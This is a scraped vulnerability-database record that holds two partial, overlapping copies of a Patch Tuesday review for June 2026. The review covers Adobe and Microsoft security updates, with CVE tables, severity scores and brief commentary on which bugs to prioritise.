Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "187ecaed-54e5-4c19-bda6-35a72b7a0096", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48563", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44799</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44801</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42985</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45648</span>\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42987</span>\n  Windows Deployment\n  Services (WDS) Remote Code Execution\n  Critical\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-33828</span>\n  Windows Device Health\n  Attestation (DHA) Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-44803</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-44812</span>\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-45607</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45641</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47652</span>\n  Windows Hyper-V Remote\n  Code Execution Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47288</span>\n  Windows Kerberos Key\n  Distribution Center (KDC) Remote Code Execution\n  Critical\n  7.1\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-45657</span>\n  Windows Kernel Remote\n  Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48574</span>\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45490</span>\n  .NET SDK Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45491</span>\n  .NET Tampering\n  Vulnerability\n  Important\n  6.2\n  No\n  No\n  3\n  Tampering\n \n \n  <span>CVE-2026-45591</span>\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-47643</span>\n  Azure Stack Edge\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-41098</span>\n  Azure Stack Edge\n  Spoofing Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45642</span>\n  Microsoft Azure\n  Attestation service and Device Health Attestation Service Spoofing\n  Vulnerability\n  Important\n  3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  